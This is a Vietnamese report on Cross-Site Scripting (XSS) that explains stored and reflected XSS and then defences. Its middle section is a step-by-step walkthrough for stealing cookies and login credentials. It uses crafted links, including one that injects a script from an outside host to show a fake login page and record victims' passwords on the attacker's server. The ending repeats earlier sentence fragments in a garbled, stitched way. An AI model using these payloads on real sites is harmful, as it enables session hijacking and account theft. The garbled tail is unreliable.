1. Lý thuyết Website ngày nay rất phức tạp và thường là các web động, nội dung của web được cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới. Và hầu hết các website này dùng Cookie để xác thực người dùng. Điều này đồng nghĩa với việc Cookie của ai thì người đó dùng. Nếu lấy được Cookie người dùng nào thì Hacker sẽ giả mạo được chính người dùng đó(điều này là hết sức nguy hiểm). Vậy làm sao để các hacker có thể lấy cookie của bạn? Có rất nhiều cách để các hacker làm việc đó, ở đây tôi xin trình bày một trong những cách mà hacker thường dùng, đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS). Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. XSS được thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm được những công việc sau: - Thay đổi cấu trúc của toàn bộ trang web. - Tạo tùy ý các phần tử HTML. - Định tuyến lại các hình thức liên kết - Phục hồi dữ liệu, xác thực - Gửi và nhận dữ liệu - Đọc các tổ hợp phím. Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ) những thẻ HTML hay những đoạn mã script nguy hiểm có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu, usename…. Trong đó, những đoạn mã nguy hiểm đượcchèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML. Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng. Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích 1 hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript, JavaScript…được thực thi trên chính trình duyệt của nạn nhân. Hai hình thức tồn tại của XSS - Stored XSS Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn một đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thông qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài ), để từ đó khi các thành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc này thường được lưu lại trong database của website chúng ta nên gọi là Stored. Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn, khiến cho mã độc được lưu vào Database của website. - Reflected XSS Trong hình thức này, kẻ tấn công thường gắn thêm đoạn mã độc vào URL của website chúng ta và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính mã độc. Điều này xảy ra do ta không chú ý filter input từ URL của website mình. 2 Tấn công XSS là tấn công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên máy nạn nhân thông qua javascript như ăn cắp cookie, chèn mã độc để chiến quyền điều khiển… XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi này, chính vì thế ngày càng có nhiều người quan tâm đến lỗi này. Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web không an toàn đã được xác định vào năm ngoái, và trang www.xssed.com đưa ra danh sách gần 13.000 trang trong đó có nhiều lỗ hổng cross-site scripting (XSS). Trang www.owasp.org đưa ra top 10 về lỗi trong bảo mật Web Application thì XSS đứng thứ 2 chỉ sau Injection. Mục tiêu mà XSS hướng tới XSS khai thác thường được sử dụng để đạt được các kết quả độc hại sau đây: • Truy cập thông tin nhạy cảm hoặc bị hạn chế • Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….) • Theo dõi thói quen lướt web của người dùng • Thay đổi năng của trình duyệt • Bôi nhọ danh tiếng của một cá nhân hay công ty • Hủy hoại ứng dụng Web. 3 • Tấn công từ chối dịch vụ … 2. Mô hình triển khai Công cụ cần thiết để tấn công Sử dụng nhiều chương trình dò quét lỗi của ứng dụng web, ví dụ như chương trình Web Vulnerability Scanner để dò quét lỗi XSS. Sử dụng webhost để lưu trữ cookie. Từng bước triển khai tấn công Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hổng XSS. Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn”… Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker. 4 Bước 4: Hacker tạo một chương trình hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin. Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng. 3. Triển khai tấn công 3.1 Nghiên cứu cách lấy cookies Thứ nhất: Bạn hãy tạo một file info.txt và upload lên host của bạn. Thứ hai: Tạo file cookie.asp hoặc cookie.php có nội dung sau và upload file này lên host của bạn như sau: Thứ ba: Trên những phần trả lời hay góp ý trên diễn đàn hoặc email hoặc website (bị lỗi XSS) chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có hostname là của trang web bị nhiễm XSS) dạng như sau : http://hostxss.com/search.cgi? query=<script>alert(document.cookie)</script> hoặc http://hostxss.com /search.cgi? %71%75 72%69%70%74%3E (đã được mã hóa) 3.2 Nghiên cứu cách lấy account Thứ nhất: Bạn hãy tạo một file info.txt và upload lên host của bạn. Thứ hai: Tạo thêm một file xss.js và cũng upload file này lên host của bạn: File này là để tạo ra một facesite (trang web giả giống trang web thật) để khi người dùng nhập username và password thì chúng ta sẽ điều hướng và lưu thông tin trên file info.txt. 5 Thứ ba: Chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có hostname là của trang web bị nhiễm XSS) . Khi đó tạo một link dạng như sau và gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname ta thêm thẻ Script vào) http:// hostxss.com /search.php?s="> <script src%3Dhttp%3A%2F%2Fjsngoc.vnn.ms %2Fxss.js><%2Fscript> Khi đó bên phía người dùng sẽ có một trang web giả mạo(face site): Người dùng không phát hiện ra và khi đăng nhập thì cookie hay usename và password sẽ được lưu lại trong file info.txt trên server của hacker. 4. Nhận xét và giải pháp phòng chống 4.1 Với những dữ liệu người thiết kế và phát triển ứng dụng Web Những dữ liệu, thông tin nhập của người dùng, người thiết kế và phát triển ứng dụng Web cần phải thực hiện vài bước cơ bản sau: • Chỉ chấp nhận những dữ liệu hợp lệ. • Từ chối nhận các dữ liệu hỏng. • Liên tục kiểm tra và thanh lọc dữ liệu. • Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ <script> hoặc đóng các thẻ Script trong thẻ <comment> coi đoạn Script đó như là một đoạn trích dẫn thôi. • Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related • Lọc dấu nháy đơn hay kép • Lọc kí tự Null • Xóa những kí tự “ > ”, “ < ” hoặc Output Encoding các dòng như sau o < < > > o ( ( ) ) o # # & & • Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng • Mã hóa Lỗi XSS có thể tránh được khi máy chủ Web đảm bảo những trang phát sinh được mã hóa (encoding) thích hợp để ngăn chạy chạy các script không mong muốn. 6 Mã hóa phía máy chủ là một tiến trình mà tất cả nội dung phát sinh động sẽ đi qua một hàm mã hóa nơi mà các thẻ script sẽ được thay thể bởi mã của nó. Nói chung, việc mã hóa(encoding) được khuyến khích sử dụng vì nó không yêu cầu bạn phải đưa ra quyết định những kí tự nào là hợp lệ hoặc không hợp lệ.Tuy nhiên việc mã hóa tất cả dữ liệu không đáng tin cậy có thể tốn tài nguyên và ảnh hưởng đến khả năng thực thi của một số máy chủ • Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu hay không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để giải quyết. 4.2 Đối với người dùng. Cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết định • Dùng Firefox: Có thể cài thêm tiện ích(Add-on Firefox) YesScript - kiểm soát script từ web • Dùng IE thì ta có thể vào Options/Setting / chúng ta Disable Script. • Tương tự với Google Chrome và các trình duyệt khác. Khi chúng ta vào một trang web mới thì ta cần phải cân nhắc khi click vào các link, và với email chúng ta cần phải kiểm tra các link hay những hình ảnh quảng cáo thật kĩ. Và tóm lại chúng ta sẽ an toàn hơn khi có sự cảnh giác cao hơn. 7 . nhiều trang web bị mắc phải lỗi này, chính vì thế ngày càng có nhiều người quan tâm đến lỗi này. Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web không an toàn. ngoái, và trang www.xssed.com đưa ra danh sách gần 13.000 trang trong đó có nhiều lỗ hổng cross-site scripting (XSS). Trang www.owasp.org đưa ra top 10 về lỗi trong bảo mật Web Application. ứng dụng web, ví dụ như chương trình Web Vulnerability Scanner để dò quét lỗi XSS. Sử dụng webhost để lưu trữ cookie. Từng bước triển khai tấn công Bước 1: Hacker biết được người dùng đang sử